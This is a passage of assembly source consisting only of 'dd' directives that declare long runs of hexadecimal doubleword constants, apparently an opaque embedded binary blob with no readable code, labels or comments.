2E585C15h, 53B05AE4h, 4E0C0001h dd 6BE8DC28h, 35FA91D9h, 73533300h, 0E6A52051h, 2EDF0008h dd 7283B7B8h, 0E40017C2h, 3F963C7Fh, 0D9E5B9h, 0F8265FDEh dd 0FE4A97AEh, 84392B02h, 0E03BE617h, 796F45B3h, 55D41DACh dd 934A8146h, 0DCCB7156h, 0BF0E91FBh, 6038452Fh, 0C7922205h dd 0CCC00C3h, 0B2B75EC6h, 0C2009670h, 0ED494230h, 906D6h dd 0A013C078h, 0DF02B08h, 0B3453Ah, 33F61B6h, 4ECD8h, 43B0ED01h dd 0EEC49FE6h, 17FDCB3Bh, 14006097h, 2CF3DD7Dh, 2A83006Eh dd 18078251h, 32020B49h, 5FD3ADC6h, 0EC0FC092h, 0EBE903FEh dd 0B83EAC48h, 0F0B52A00h, 7F60B635h, 0D2C3398Dh, 9D49F180h dd 5B02C4E8h, 3E966100h, 7867637h, 7E3F0058h, 0FD2B0499h dd 0C207AE08h, 0F087B382h, 0B46545F0h, 3A6000F5h, 669E7DEBh dd 611CCB54h, 70C18B63h, 0A185EEE9h, 0AD4C0D5h, 53F20E6Fh dd 5A20B1CDh, 1BAA3987h, 5F9A371Fh, 0D00C1900h, 0AC78Eh dd 6D60279Dh, 139814D2h, 4FFD8A0Ah, 6F00EF0Bh, 0C7CABDA7h dd 11650056h, 0B40D6AA0h, 33001A8Eh, 0C1821C26h, 0ACF438h dd 5760F65Bh, 83DD1E5Dh, 19559F2Ch, 4D80CE1Ch, 8D7E2669h dd 97C77C4h, 6D0117C1h, 1813A380h, 56EE6EB3h, 80C53D3Ah dd 75649E6Bh, 1EB2AD0h, 8731ECCFh, 60D6D234h, 0A35FA7C6h dd 982DB0h, 4F2BEA29h, 0EFC18F0Fh, 0D932521Ch, 0A2C2A500h dd 39BD0D17h, 1380A9F8h, 833796F6h, 1D3E0670h, 2EBA80D9h dd 0FFC7B1CAh, 15D4005Eh, 921E6F1Ch, 761E73A3h, 5DC701C9h dd 9BA0681Dh, 81E8A6h, 230DE12Eh, 0DCFC529Fh, 0DEC6B800h dd 2FE96802h, 91CD07EBh, 0C00AC425h, 7DAC1ACBh, 0EE0DAD00h dd 0B259B48Fh, 49D40320h, 0C4E7FD08h, 0B7A6FAD8h, 0CF078D7Ah dd 5A57EE16h, 68C065E4h, 1CA84BD7h, 815D15DFh, 0E1B08F50h dd 44003E2Ch, 3E085501h, 0ABFD01BCh, 0E071EF4Ch, 0B906F8C7h dd 80D8123Ah, 9A09C92Fh, 79085CBh, 69ED0EF1h, 0F26BB054h dd 0CC003A89h, 339DAF66h, 2D99A5h, 64E19345h, 7E0C82D4h dd 0CEE33B00h, 0AD488CCBh, 1667781Fh, 7B10D3h, 0E0497EF3h dd 0F300511Bh, 0F608A952h, 0DAB240h, 689FCAF8h, 0A3CF8961h dd 0C23843E4h, 8E00FF95h, 158D6051h, 65C766h, 4856D82h dd 10309933h, 0BCBEB200h, 4B316E0Bh, 0E9D2005Ch, 2847D9BBh dd 44006D89h, 0D32BAB67h, 778868Eh, 0AC5DD73Bh, 0CEA30010h dd 9A1F891Ch, 2B806D6Ch, 0B0C67448h, 0B8B600E4h, 821166F7h dd 3D002A45h, 0B1B90B5Bh, 1F3209h, 98D269F3h, 854BCBADh dd 849F7900h, 0BCB3A08Ch, 56500CDh, 1804C9FBh, 751E6869h dd 0DD006E0Eh, 9A4C628Eh, 0F1D1036Fh, 49F6C14h, 78F83DBh dd 0DB6B90C6h, 49FC810Ch, 0E7DEE901h, 0CD4290B2h, 0BE8CD8h dd 6B5DE577h, 0F2C8A1ECh, 8203C43Dh, 0A1D1F2Dh, 0B793E004h dd 31720056h, 0D6A24C17h, 3400E39Fh, 0C3258923h, 7BDA4A6h dd 0E9B935FCh, 0E06BB0AAh, 0D903EDA9h, 0F8446F76h, 0BBD2B07Fh dd 0CBA73A80h, 30038187h, 0B8A01E11h, 0DD296943h, 6000A1E8h dd 0FD0207EFh, 74C2461h, 4B9E205Ah, 0CBE77009h, 0A5013EBh dd 0B900F29Ah, 0F95C7832h, 0D6D714h, 77592262h, 18153B51h dd 16B00400h, 0C470636Bh, 0DCE500BFh, 0F258A132h, 810038E3h dd 0F1D875ACh, 0E684CDh, 0FE8FABD2h, 9DA93C4Bh, 2200F7EEh dd 7A631A26h, 3C9B19DDh, 0FB32EAh, 0D1B6B028h, 90C7FFFAh dd 121B8400h, 2A523798h, 0A7CA01EFh, 188028BCh, 0A9EEF47Bh dd 0F1E33F2h, 0B4C0037Eh, 72BBB1E6h, 91410071h, 0CBB801B5h dd 78002F77h, 0C929C15Dh, 4AB08Bh, 0B31206ADh, 8082F747h dd 720E2201h, 439B7A1Ah, 37C98C0h, 0DC0166A0h, 64D8FA39h dd 0B37AFFF1h, 0D190AA00h, 721668EAh, 37A7030Eh, 0A924BB39h dd 11861F98h, 62E84400h, 0A1D5D977h, 8102004Ah, 437540C9h dd 4D00DBB4h, 1F1468B3h, 2108D3h, 3FB5FC0Dh, 171E70EBh dd 4A92F301h, 0B4A89BF4h, 13ECEDCh, 9C8C6C95h, 0F4F8975Eh dd 0DE047182h, 67FA41B1h, 805BDFC7h, 0C71FD13Dh, 0D8430185h dd 0D3830AEh, 0F4A1ED4Dh, 0E7006944h, 376E5211h, 4E276Bh dd 459C78E8h, 0F12203DCh, 2C5F48h, 156C4B70h, 74538C08h dd 727BACh, 0D46F63CCh, 59A14623h, 3844CA00h, 4AF36433h dd 7881009Eh, 65607CEh, 76EE1C8Dh, 9BC07400h, 0A89C3BF9h dd 1C677F7Bh, 404BB36Fh, 9520B7BCh, 0A90304EFh, 7E9B0F2h dd 8E89C87Dh, 318D00CBh, 349261FEh, 78003DD6h, 0C4871BEEh dd 3FDEC38h, 9BA4F68h, 0C0F5B8DDh, 1F81A5C2h, 0BBE54900h dd 5A3E16DFh, 9C3500D1h, 8952CAE4h, 0E00E2AFh, 48F247D3h dd 1D666C91h, 0DD0FE0DBh, 0C0789C61h, 0F9D52AE7h, 51269BA7h dd 370F5FABh, 39D900C3h, 583C23C2h, 0A0061C8h, 9F980314h dd 5B012AA6h, 7B16553Dh, 0E0CAABDAh, 27CE62h, 0C139D6E1h dd 0E6D969Dh, 99578602h, 0FDC07103h, 0EBC23B60h, 0FA2F3Ch dd 23411E87h, 0D3F57Eh, 33AE4B24h, 0A389D0DAh, 113D1E98h dd 99587F2h, 73E03B07h, 17E06842h, 0F578D3h, 0EB82D28Fh dd 3A078396h, 27F6A101h, 3DD4DC30h, 818A38E4h, 0C7096F80h dd 10990715h, 81744C38h, 0E7FB681Fh, 0F5F033CCh, 0D1F2D2h dd 9698EFE0h, 7DFCA7BBh, 610043F4h, 99EE28A5h, 0FD82F4D6h dd 73DAE570h, 39C23A08h, 0E2F942A8h, 37600F8Eh, 70099EAh dd 1340DD15h, 0DA7D6800h, 9B4514E1h, 0C5D0099Eh, 4D80B934h dd 0CF3FBCF0h, 33CE271Ch, 71E8A7C2h, 0B7B260EDh, 3C390F3h dd 9D2C0C88h, 29B9C248h, 49FFD87Ch, 1964E800h, 937E46D9h dd 0EEF90082h, 4CA91155h, 0C600B624h, 549AA3C7h, 0CC225h dd 9149C32Eh, 0E47B9614h, 65EC09ECh, 8188F13Eh, 0FEE532F5h dd 93D8B2F3h, 554C0001h, 0E010D18Ch, 0E001C2Ch, 306C77E4h dd 72DA41Dh, 8038B9Eh, 42708076h, 9F00BF0Ch, 40A3B2A2h dd 0ED91DCh, 20B1F1FAh, 12899B2Fh, 0FD4E4200h, 0E3B8A097h dd 2E75005Fh, 80298F44h, 0CDF05067h, 0F6D9312Ch, 0AC87EE00h dd 4951AFh, 0F6121723h, 2221BA74h, 9A65B30Eh, 6AF00090h dd 26967Fh, 0F67CFD66h, 0A071F985h, 84E2823Fh, 27C159E6h dd 0EBCEC0AEh, 0E972C3A2h, 4A7A4317h, 0AF29E300h, 0E3570B8h dd 4E25C03Dh, 0E910F600h, 5E002D42h, 0F0A5315Ah, 0F508736h dd 11BA9B5Dh, 3268E580h, 0A7758FC8h, 0F96E4400h, 86928715h dd 97A000FEh dd 321BB7AAh, 0DB037353h, 71010B10h, 0E86DAB7Ch, 0E58AAA29h dd 0EDD6F4h, 1670E6FBh, 0B81B8518h, 0B06B7200h, 2B3B22CDh dd 90B11C12h, 89EB8F0Eh, 0E08F2A00h, 4B078DD7h, 5A11BF68h dd 0F752E831h, 0E30BF8h, 0D2DE082h, 50C19B66h, 18838900h dd 0B7860F13h, 7E35E4EFh, 0B5580065h, 0EA967C6Dh, 20005FFBh dd 17A8119h, 0EA27453h, 0C38B85F0h, 5E4F2180h, 5000AF49h dd 0C091EB61h, 0FAD33Ch, 9D3897A2h, 5CDF01FDh, 629CD40Fh dd 0FEB8092h, 451C26h, 7AF54812h, 0C373E81h, 0C215D41Eh dd 0AF03980h, 9CE6105h, 66CF4480h, 7559C580h, 342ED67Dh dd 990E67D9h, 1AD82089h, 0F0E371h, 98965213h, 28D1FCF2h dd 0C5EF2900h, 0CA9F70ECh, 0EDF13DEBh, 8BC0E480h, 0B8A83D45h dd 0A4F8A228h, 841B6800h, 0BF2D637Ah, 31FCFDh, 0F777E7D7h dd 120754F2h, 43F09600h, 5B14EA91h, 0E180097h, 499ED4C7h dd 0BC01593Bh, 6F30A1AFh, 3CE812FCh, 0E4B50083h, 0D0D140BBh dd 320E2A13h, 64E1E934h, 0DBC0C136h, 0BC5F3Eh, 23FD9051h dd 0E5100660h, 18E7EF03h, 881AC654h, 0AFF0D7h, 634E3B47h dd 6541B462h, 0DE758A1Eh, 0AE748EC0h, 0B0B1FE0h, 30334F27h dd 217C8775h, 7A5BA150h, 1C2C7D98h, 42C44AAAh, 0C90CCD5Fh dd 302F7C61h, 98005E8Bh, 362013B5h, 0F9D067h, 19ECE30h dd 0D17A99ABh, 0E600D8F2h, 6D1B1068h, 0E8FE41A8h, 9F74003Eh dd 8131D03Dh, 2300F06Ah, 0C8EFA36Ch, 9599A1h, 0D84E4B7Fh dd 0EC9C2958h, 69036298h, 0E31E0F50h, 0CB6298E8h, 943203D5h dd 0C0F6232Eh, 20E9B3E0h, 2B40E50Fh, 0A036CF55h, 0DCFE07C3h dd 9D100A9h, 0EF61BCFDh, 0F00A4B9h, 0BB7FA8EBh, 0A6ABCFh dd 12DB359Eh, 9634F9FFh, 1EFA5448h, 0F67D5BC2h, 8AF9400h dd 0A6A44184h, 0BA931F38h, 801A9DBFh, 172757C4h, 963F1BCFh dd 0A65580F6h, 2BD42C0Eh, 9D6D2404h, 1C873A34h, 903BBCDFh dd 48F3037Dh, 0F55C9F02h, 8076B3AFh, 0F4DF7AA4h, 0A86E009Eh dd 289ABDFEh, 0EE014F26h, 3729F90Ch, 5930B642h, 0C390009Dh dd 74856377h, 0C6079E5Bh, 6AD42F96h, 878E4D90h, 0DA120F4Ah dd 0C347BBEDh, 70E01EBDh, 0D8C08214h, 42E77B02h, 82067DBAh dd 0E08E3198h, 1F6C74DDh, 0BB1EE9AEh, 0CF879A00h, 39AA3032h dd 0A20EE1B0h, 60EFC544h, 8FA8FAA7h, 0A170B5EDh, 0D64E5600h dd 0ACA9B8ECh, 0C4AF001Bh, 62DE7213h, 33009AF7h, 2FED1C22h dd 530232h, 78A161D2h, 0F380BEC9h, 80447D3Eh, 0E3FAA209h dd 63C086h, 0FE544037h, 0A07516D0h, 0D8205000h, 57949E41h dd 0F8F200D2h, 114287AEh, 90040B8h, 0DB9BCFA3h, 371BD1h dd 515DEB6Eh, 13C02A7Ch, 0FC8E2E00h, 25D38CB1h, 0AC8B0075h dd 0C27EFE76h, 0E703F395h, 88629020h, 6AA498FFh, 0C38C07E9h dd 60C5E58Ah, 6B093F5Fh, 0B35E3300h, 1A81E25Bh, 0ADB0FFh dd 89429135h, 3E305F7Ah, 0BB4D4F00h, 0C59E5226h, 0DF48007Ch dd 6AB249D8h, 7916F101h, 0BA176Fh, 0C8BA9D5Ch, 83721527h dd 0FF40900h, 921EDE60h, 0D2170075h, 6A5EA826h, 623ACBA1h dd 85203D2Eh, 46BC5CDCh, 0EAB6C6BEh, 0DE98CE00h, 3E0108A5h dd 88D10056h, 7043AD24h, 3F07EDC7h, 0DAB795BBh, 3010F2E0h dd 8BF8E8h, 0EF170776h, 0CA3F716Eh, 8057D13Dh, 0EA2A081Fh dd 7BBC33h, 2E23960Bh, 2682DE2Ch, 4EE11100h, 32C36516h dd 23D746Eh, 0C75FD5D9h, 0D940A668h, 0E8001BBCh, 59904729h dd 1F7F7E2Bh, 0D7ACF50Bh, 59F8C7h, 9A4A9B30h, 389601h dd 998C77B9h, 0C05198A4h, 0DE717C7Ah, 6D43A32Eh, 2059A20Eh dd 8A9EA9BEh, 2FE900EAh, 8710ECC1h, 374C16A1h, 34310089h dd 0D89336A9h, 8EB00EDAh, 9F8048B5h, 51125E2Eh, 40B78507h dd 7621CC62h, 9E30058Bh, 0B6F000F4h, 7D060188h, 0AB07ED3Ch dd 66EAB0C3h, 0B2111820h, 0F2861E05h, 0AE8C0A9h, 0ACEB91C8h dd 0BBFCE42Ch, 8F534F00h, 0DA573Ch, 0D6310BA0h, 45753F20h dd 90528000h, 280DA1C6h, 0A3F4C2h, 248D593Ah, 0B4330C0Ah dd 2158h, 53D94E9h, 0A51991h, 0A3111CEFh, 0E07AB9B3h, 98F1471Dh dd 38CC4500h, 1FB19E5h, 0CFAEC11Eh, 0D48C5B9Fh, 0D0008EDEh dd 91376CAFh, 0E2304FBFh, 5B500054h, 648F2BB1h, 0D300C6ECh dd 61ACE8F1h, 687B78h, 3BF6190Fh, 62947985h, 7A5F03Ch dd 423D9387h, 1B834F45h, 29CC9898h, 1D907FD4h, 4085A2A0h dd 99151F4Dh, 4FE0CF97h, 0AE435100h, 0FE397B5Ah, 7A6979ADh dd 2BE30078h, 0DEDC5623h, 0A004983h, 0CA999614h, 0F53E02h dd 6CEE3AD2h, 0F16A94BDh, 731B9C00h, 0E34E2F21h, 0FDAC1DD4h dd 0CFD980DDh, 8CFCFFC8h, 0A3E79800h, 0F890BF9Fh, 1E02982Ah dd 6826D4DFh, 1AE0094h, 5AE2EBDDh, 0D801921Ah, 0A6BE4174h dd 79E038D5h, 54A7005Fh, 4F2B09FFh, 0A7D8411h, 0E98FC500h dd 0B013B9C0h, 0EBE6035Bh, 275D6769h, 24FADA88h, 0C1A00500h dd 0C5CD3F53h, 0A22A003Ah, 0FB14E649h, 0F3031690h, 0D2E1BA29h dd 3EFFD06Fh, 287492h, 467AFA88h, 0DBC60CE2h, 2E02AD00h dd 4A731D98h, 7D988Bh, 596C9EAh, 0A71281E5h, 6A986C03h dd 0E07E033Fh, 0E6F6270Ch, 3A3200BAh, 1C5B99CAh, 50112B0h dd 0BC50EE30h, 7520B1EDh, 0F1841D09h, 860A0068h, 0D3FF2CB4h dd 85F2AA1Ch, 79020600h, 0E313CB0h, 0F4D9CCE0h, 0DF380740h dd 0F803EA81h, 0C8537EE3h, 2D9CA825h, 0F6C20041h, 157CF9FEh dd 0CB1EE470h, 7A4055E6h, 965DA6AEh, 98AF0E9Bh, 88204D58h dd 12343F1Fh, 0A193220Eh, 659200F9h, 9E1AB3h, 0B9A62B43h dd 6CDE88EFh, 791C6900h, 0EDC0D3AFh, 1A600215h, 0DBB80EACh dd 8100E057h, 0AD28009Bh, 3F501347h, 6376473h, 0B57146CBh dd 88DCB342h, 1BCC39A5h, 0DF16D00h, 0F33549DEh, 43DF2819h dd 0D5F832EAh, 0D25F0034h, 8A0AA5C7h, 0B400D1ADh, 0D6829C86h dd 0EA9AD079h, 0F87C0162h, 4CA9C4B8h, 66C0C272h, 1D00FB10h dd 84555E98h, 0EF114C2h, 52BE6A65h, 0C0EACA04h, 0B73D3522h dd 7F6F8900h, 1C7344C6h, 1AFB0093h, 2948889Bh, 0C5000EA3h dd 5857A126h, 28B2F285h, 89B8F3h, 0B9E8ABAh, 0F58D8E29h dd 8F02903Fh, 5FE877h, 0DA506F19h, 99FA0089h, 9B11AAA9h dd 8F0054C1h, 69670643h, 0EAE124h, 0F6B98A2Fh, 0BB2A61E7h dd 8F3C7B00h, 97A952F0h, 0B1F200F1h, 0EA5CC9D3h, 8D0046A7h dd 0A2D76866h, 1F143C12h, 0CE10B6B5h, 2421253Bh, 2F08D558h dd 39F01A80h, 0C21F0549h, 80E6F737h, 4E91812Eh, 956E9700h dd 79801D5Ch, 0FA25000Bh, 21A7597Dh, 0D53C1866h, 0F52E7F2Ch dd 92002B65h, 57D850FCh, 90533EEEh, 3B541300h, 0AB6A9AFEh dd 8A329500h, 47BECA8Ch, 219B006Ch, 86D0D74Fh, 4B008403h dd 2CD96F65h, 0E34017h, 0EF058A5Eh, 0F7E589DEh, 3310F100h dd 0A84F6B42h, 13A52EB1h, 84E4005Dh, 0F31514E9h, 0DB3EDA03h dd 908EAF1Ah, 1973421h, 767DAC74h, 0F4FD2D39h, 5895D6FBh dd 7EB300F9h, 0F1A9D4ABh, 3F09EB40h, 8068E01Eh, 854E7493h dd 3490DEh, 0D19E7FC5h, 7AEC075Eh, 98903A00h, 9FE98D02h dd 0D7E814h, 6F72451Ch, 63A28C1Ah, 0D166790h, 5C007E4Bh dd 3568920h, 9E98A9h, 0D9ACFB2Dh, 9317A88h, 0E1925800h dd 45F3E07Dh, 6FDC0038h, 0A1AA4EA7h, 853EBA97h, 465500B6h dd 0B2A2F406h, 0AB38010Fh, 0B867D554h, 3604E0BFh, 0C1564200h dd 9B8C2BE8h dd 1C80003Bh, 0C876CF99h, 43000B4Dh, 59A60498h, 0A3132Fh dd 820FC2BEh, 71C57EA8h, 6F780B00h, 7F4B44CCh, 9D070084h dd 82E0FFD9h, 89006321h, 66BE2E72h, 1B6F95h, 1CB5CEFEh dd 6A8CCA64h, 0A2CBD700h, 1C2125Ch, 0C6540052h, 0DA11284Eh dd 0E30085E7h, 0BF6EB88h, 2A4DDBh, 0EA7C84CCh, 45AD2D9Dh dd 0A0004278h, 0BC0AD0E0h, 0F0FCAC66h, 62F200F7h, 588BC34Ah dd 0DE2E7B5Fh, 43006A55h, 0CC25D53h, 9FFE002Dh, 451D071Fh dd 9000E496h, 4E8111AFh, 3C31DAC8h, 68807FEEh, 2C4FAC95h dd 0D028B165h, 29008BBDh, 0E08D6DB7h, 3CB2E5DEh, 460E3464h dd 8C007E0Fh, 1F6B9DD0h, 0F9F39107h, 0FC43547Bh, 3462A047h dd 0D90C0056h, 0D2212728h, 8F78422Bh, 9B00C877h, 3C1CA1Eh dd 35BED3Ah, 2DBEDE13h, 9DB8CBF9h, 9E005AE7h, 0A0CD3EBh dd 8AD1A1h, 4F07E0Bh, 9ADC3BC5h, 1F808400h, 0BA2F25EEh dd 3E5C006Bh, 0FAC4C363h, 0BF006E4Eh, 84317FCEh, 1F700CACh dd 1ADCAAh, 0BA22CB9Ch, 0FF00A363h, 96D3C035h, 13CAAB91h dd 0D5F82Ch, 0CFB63F35h, 1401DAE8h, 7BD3A742h, 0E0C337F7h dd 0CBCC1h, 7FC92AC7h, 0E55195E6h, 0AC382300h, 72EBDBB7h dd 0DD10701h, 3A3D1Fh, 93CDE2F3h, 83717900h, 0D544ECBBh dd 1477071Eh, 31A68619h, 0C0D626CEh, 0B558938Dh, 804CA8h dd 0B48160A7h, 5BEABDh, 3CE3E083h, 0B0327741h, 3F82C100h dd 0EA7D1B14h, 1036277Bh, 80A71940h, 0C0B06A03h, 0B01AF8FFh dd 775FD67h, 0B82D0E6h, 0EC4F8007h, 761F0204h, 52C088ADh dd 51FC5B9Ch, 7E9B7687h, 283560A1h, 0AB81C76Eh, 53390400h dd 0A4F605F1h, 955E0025h, 0B47CDDFCh, 70002D5Fh, 73012E54h dd 96D78Ch, 0EA2618F6h, 885594C4h, 0FE10C3Dh, 0FF2431h dd 0A5351EEh, 67DA0057h, 84EC2089h, 177DD16Ah, 74308C00h dd 6E83E7DBh, 2E7807B8h, 0D07DC3ACh, 0CF890390h, 7949D000h dd 0E8DE870h, 2220001Eh, 0A19A5436h, 23008618h, 0C9394581h dd 3C837674h, 4600306Fh, 0AB6BEA58h, 0F200C3C6h, 15196CADh dd 5D11D6h, 0AC30B42Eh, 0BDA46223h, 32B8250Eh, 0C6A64055h dd 1FC70D91h, 80010C5Fh, 7C58A1FFh, 0E0050E3h, 27D50537h dd 0F2A652C4h, 0FFAC0088h, 2F4B5D22h, 70082A5h, 0B5F730Dh dd 33441D6h, 667EDE49h, 25C17AFCh, 5FE36035h, 97FF3600h dd 7D800A03h, 0F1C7B13h, 0AFE3710Ch, 2B47941h, 24A06EE5h dd 38362635h, 208B00A9h, 0FBEFCD6Eh, 3B06AB1Ch, 59ECC380h dd 2234E0h, 76D3C9Ah, 49761479h, 0F2ED4A00h, 0BA735E1Eh dd 28D70086h, 0E5B3F899h, 140071D0h, 8883C5D2h, 1DC94ABh dd 0BDBBA575h, 3098C909h, 7E391786h, 0B87001ACh, 0DD5DE0CBh dd 0CD08BC81h, 30BE404Ch, 7B009FAFh, 0E2160DFh, 8F6232h dd 0F65FDA5Ah, 7E9337DBh, 42F2D700h, 0D8B67D7Bh, 684D0755h dd 0D7E7296Bh, 5C61AF66h, 0E84FC218h, 7E02BCFCh, 0AE6F2CEEh dd 0E74AE344h, 8CF07FA0h, 0FD7566h, 54052D9Ah, 98D733AEh dd 0DDB13E00h, 0F0313C53h, 6AEC009Ch, 0F920B9F5h, 3F005DE8h dd 87411F01h, 0E18551h, 0B35580A9h, 0BC81492Ah, 0F2313503h dd 0E8186DC0h, 0A37412h, 68852141h, 7153D64Bh, 0BE480D00h dd 28863C4Fh, 0BFF300D5h, 0A5A6C385h, 8007407h, 73B35002h dd 0E16D67h, 37B74787h, 0ADA0F5AFh, 66BF5F00h, 84142DBh dd 0E1780Ah, 0FDF120B6h, 0A1E8A5B7h, 44694A24h, 0D9BC3Eh dd 89C58882h, 1F793F7Fh, 0C0E7C386h, 0A4870213h, 0AB014F63h dd 4DB5A123h, 40F6D4B0h, 7F33B922h, 0CE1C0084h, 0D36B9585h dd 2B02BFCFh, 0B4270586h, 1E60DF2Ah, 1F1F51C4h, 0DD0F63D8h dd 7D803C89h, 4E75C59Bh, 48D33873h, 44356200h, 584FB365h dd 4CA0CF1Dh, 0C160E4C0h, 33AD72h, 7735E186h, 6C3ACB2Ah dd 51685F00h, 0DE01704Ch, 0B95E4AC5h, 9B180087h, 0B7E9A1F9h dd 0AFEA0E89h, 58A047CEh, 0BB5B01BDh, 6498CB0Bh, 0E79F8FDAh dd 7050087Ch, 0DF3826h, 0B6E21401h, 5D0955F5h, 64E92703h dd 0E0626D5Ah, 74EEE7h, 0D8BC836Fh, 893C581Bh, 61822100h dd 57653329h, 0C36800ECh, 9916FC2Dh, 3403CAC6h, 9D13056Ch dd 0E2279014h, 79CC008Ah, 387D86A3h, 639E384h, 0C85F00A2h dd 0C63EF42Fh, 0EE3A008Dh, 6AD025D8h, 2BEE7102h, 0D72FA200h dd 1FAB8FBFh, 695B0080h, 38AF6291h, 841FE9FAh, 0B2C0572Dh dd 0F2466E8h, 0B32F0F23h, 0D0E013E4h, 0FCC9580Eh, 750BFF07h dd 0F33065C0h, 1FD77725h, 804609E0h, 0A230234Ch, 0D673CA6Fh dd 0AC5BF000h, 0CD4A6E8Ah, 2A164C9Dh, 23E82A00h, 0EFF5E77Eh dd 0DEBCC500h, 4EB48884h, 0BE380E07h, 1420F08Fh, 0F5D81980h dd 0E9FF1200h, 0A9636287h, 7A070071h, 0E5C379F3h, 5500D2FAh dd 500DB278h, 6A87BCCh, 5C59774Eh, 69FE6C45h, 8B24DA00h dd 0D6333067h, 7664006Ah, 0B201E4FBh, 0D200625Dh, 96CAEC63h dd 0B982EE2h, 0FF08BB35h, 2C002F09h, 1A07A272h, 0D9C71B00h dd 0D428E575h, 0DB2500F4h, 0CA7DE22Bh, 2F00DAEBh, 5C1A86F5h dd 0AA819Eh, 50F8D697h, 34664A31h, 6807F5B0h, 982AC620h dd 52E0C0DFh, 13F87CBh, 0AC9E7067h, 2BF514CAh, 0F880B0h dd 9A6A7F29h, 0C3A824F3h, 0F4EED900h, 0D1E09267h, 170803C0h dd 231090C7h, 0F50D66D8h, 189EF100h, 36C9D574h, 2F7B00A5h dd 3A59B192h, 99076132h, 0BB1AC82Ah, 0C2EAE7F0h, 8182005Eh dd 41D14C08h, 0BC070E61h, 7D9506A5h, 0CEE19980h, 6FE50018h dd 94D0936Eh, 0ED09814Ch, 80B097E3h, 8AD4DAE2h, 601C00FDh dd 712E1B90h, 8C02D59Ch, 23EF3B0Dh, 5A3AC04Ch, 577B002Ah dd 0C2E7D454h, 0A8734256h, 7518EA01h, 59F58104h, 0BD939F4h dd 8ABCE48Dh, 0D424DA80h, 0E5009917h, 0C7A3FCD8h, 0B020B412h dd 718700CAh, 345DDD74h, 0A8002364h, 97476EEAh, 1D5AC166h dd 0DF3E3731h, 22AD80B7h, 0BABF67Dh, 0F5B47400h, 8B33099h dd 0F7E071Eh, 0E0C8B16Eh, 70491E7h, 0BCCE063Fh, 735C00CAh dd 62133B36h, 490900E6h, 0C8233F93h, 74506D32h, 0FB7671E4h dd 7919FF00h, 0BC909D92h, 6ED200D6h, 395828CFh, 0C3EA834Ch dd 8D00B7E2h, 0AC316BB2h, 773CDAh, 78901F3Eh, 93C77684h dd 114CB100h, 67CA27DEh, 740C005Ah, 6FADAE9Ch, 1900E6F5h dd 10ED6454h, 0DB9428h, 0DDBA2445h, 1444380Fh, 23D57703h dd 0F0F61509h, 2E60D60Ah, 0D865AFh, 485B44BAh, 4A00DDC1h dd 676B8213h, 0BF10F37h, 5D907DD1h, 23DACE0h, 2819CB07h dd 0D6D130F9h, 0CDD805B1h, 67C90385h, 0D5AF1EC0h, 0A5BD2490h dd 0E33FDCFEh, 0CA7A8F2Ah, 8437006Ah, 283044ECh, 0EBCBF3h dd 0C1714234h, 490C61C6h, 0AA47000h, 0FD5C7FDBh, 0F94500ABh dd 7634C9FFh, 7A780F2Dh, 62C30700h, 3FA36192h, 99E200F1h dd 0E1D81FFh, 0E403FAD6h, 9A6CC403h, 44DC889h, 88070030h dd 9D7D7160h, 0BBB8BE69h, 6D224300h, 0E12E0A66h, 3E6F00B4h dd 64A86173h, 0BA1CE6FDh, 6C40D74Ah, 0E4DB2C45h, 9820003Dh dd 22F21ACh, 0B800AA9Fh, 33A44095h, 187D4AA8h, 40728F0Fh dd 4EFC4D19h, 5C4B6700h, 0D4318689h, 0F1880046h, 0E14CCE36h dd 3300C52Dh, 7219F0C3h, 0B98017h, 21D63C2Bh, 66A4E97Ch dd 4800C0E8h, 4CBE58C5h, 7080B96h, 13DA76ADh, 49B6A04Dh dd 0AE00D07Ah, 0BCACA2D9h, 3CC5B01Ch, 0FB80F495h, 215F089Ah dd 4F00194Ch, 7F8C047h dd 177E3E4h, 0B7BFC46Ah, 0D822EABBh, 0AE005E13h, 0B1B5C65Dh dd 0D7EE6Dh, 0E6B0DC01h, 0A93E5C5Fh, 0B6A4DA00h, 5429967Ch dd 28D800F9h, 40DE8487h, 6FFE0C0Ah, 0E1D54F00h, 78BC1151h dd 30380003h, 872DC569h, 8B003735h, 0B54FA23Ch, 3F7798F8h dd 1F376C8h, 0AE4E1125h, 0F036AD75h, 0F2036E30h, 8D2A850Dh dd 102C813Ch, 79302C8h, 0B8352B5Ch, 34E896B0h, 76402A1Ch dd 7F013800h, 0C206D9h, 0A00774F6h, 30B2C8E4h, 0D790151Dh dd 88F366C1h, 0A1FC5FAEh, 5570163h, 7259B8B5h, 4BD2C036h dd 0FBCFD700h, 507BD30Bh, 73B008Dh, 9F4C8FEh, 0D4176090h dd 1A038A3Ah, 91CB1CF8h, 0FAC0618Fh, 0CE0F0945h, 0A40085C0h dd 0BE360756h, 3042E400h, 0BA54A798h, 6ABC00B9h, 62EADF5Bh dd 200266Eh, 0BCD95B4h, 1FF48EFFh, 0C099EE58h, 9D560660h dd 0C2000F53h, 32FDCD3Dh, 7F2A9081h, 0B47A03BFh, 34ACE97Eh dd 0F1F771C8h, 0D6F0FF00h, 0B6CF05E0h, 25E07D5h, 0F09F66F2h dd 42EC1282h, 9EB5F03Ch, 0A4CFE5FBh, 0ABBB6051h, 2A3DFAh dd 8A779353h, 9049414Ah, 7F593A03h, 0D83BDB15h, 1DBA1C3Dh dd 21453Ch, 0E2A68D09h, 130EF32Fh, 4FCD3250h, 0A400F7D2h dd 0F7581F42h, 0B31E1E55h, 808343ACh, 0B8B00F09h, 0B9016B41h dd 11A1CE69h, 0D020226Eh, 0EC340156h, 7EBA452h, 9B66D47Eh dd 9A5E1F07h, 83B04AA6h, 39691513h, 6F0037FDh, 437D617Ah dd 0F93B65CBh, 7F3100FAh, 3ED33CF6h, 0F4210356h, 9018C72Fh dd 0FFCF90F7h, 0DC079CDFh, 4FAF1C33h, 0D3E9B2F0h, 0D514039Eh dd 0DE413C54h, 0E3A18FB0h, 8D8C5B04h, 0C080824Fh, 0E9F116h dd 0CF694E51h, 4CD8393Ch, 17EBCE0Eh, 6F9C6056h, 0A2E4C4h dd 3338A3D7h, 212B4263h, 0E7468E09h, 2F8980B6h, 12CF91h dd 0E05D4AD7h, 4B79F9DEh, 0A0FED300h, 3358081Dh, 0CFE71D3Fh dd 5244C0BAh, 0BCE2CCFAh, 8C626E00h, 0EFD0D476h, 6CA200C8h dd 0E2206A4h, 0EA76D62Ch, 72B96E00h, 0A3DDA3Eh, 1D23A1Eh dd 0EF0060BEh, 0C29E9CADh, 43054D54h, 1E831FA0h, 0A8F1B1C3h dd 0BE8FDEh, 50337AF2h, 22E474D1h, 6CAED800h, 8E7D3D88h dd 435D095Ch, 3DD2E76h, 80648A3Eh, 0D2F73Ch, 